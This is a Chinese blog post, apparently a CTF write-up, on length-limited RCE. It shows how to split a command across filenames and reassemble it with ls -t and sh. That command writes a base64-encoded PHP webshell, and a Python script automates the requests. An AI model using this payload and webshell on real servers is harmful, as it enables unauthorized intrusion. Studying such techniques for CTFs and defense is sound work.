有长度限制的RCE注入

本文最后更新于:7 个月前

有长度限制的RCE注入

基本知识

>>>

我们知道Linux中,有>>>命令

  • 我们可以通过>来创建新文件

image-20231209152729849

  • 同时>也可以用来往文件存入内容,但是使用>会直接覆盖文件为你需要的内容,如果文件不存在,那么新建文件再放入你需要的内容

image-20231209153007009

  • >>则是往文件中追加新内容,不会覆盖原文件,同样的如果文件不存在也会新建文件再追加

    image-20231209153252038

多行命令

同样是在Linux中,我们可以采用在没写完的命令后写入\的方式,实现多行命令

image-20231209153724846

同时我们也可以将命令如上图一样写入文件,并使用sh执行该文件

image-20231209154124667

  • 注意这里要使用>>追加命令

ls -t

Linux中,ls -t可以让文件按照时间进行排序(时间靠后的排在前面)

image-20231209154743546

同时也可以与上述命令构造ls -t > cmd

image-20231209155053407

是不是跟多行命令中的很像,所以如果我们把文件名写为片段化的命令,就可以用sh来实现执行命令

image-20231209155525230

之所以是\\是因为防止引号转义实际上只有一个\写入

实战

访问题目地址

rce-1

观察代码,filter函数中做了过滤,接下来的代码对Get的内容做了长度限制,可以用到我们上面学到的知识

于是构造一下payload

1
2
3
<?php eval($_GET[1]); # 需要写入的一句话木马

PD9waHAgZXZhbCgkX0dFVFsxXSk7 # base64编码后
1
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php # 组合一下

解释一下

  • echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 是一个将Base64编码字符串输出到标准输出的命令
  • base64 -d 是一个Base64解码的命令。在这里,它将接收前一个命令输出的Base64编码字符串,并解码成原始的二进制数据
  • > 1.php 将解码后的二进制数据保存到一个名为 1.php 的文件中

命令挺长的所以我们可以写个脚本来自动执行一下

payload.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://xxx/?6={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

# 检查是否攻击成功
test = requests.get(
"http://xxx/sandbox/xxxx/1.php"
)
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

现在访问1.php便可以正常的命令执行了


有长度限制的RCE注入
http://example.com/posts/34863/
作者
Fanllspd
发布于
2023年12月9日
更新于
2024年2月12日
许可协议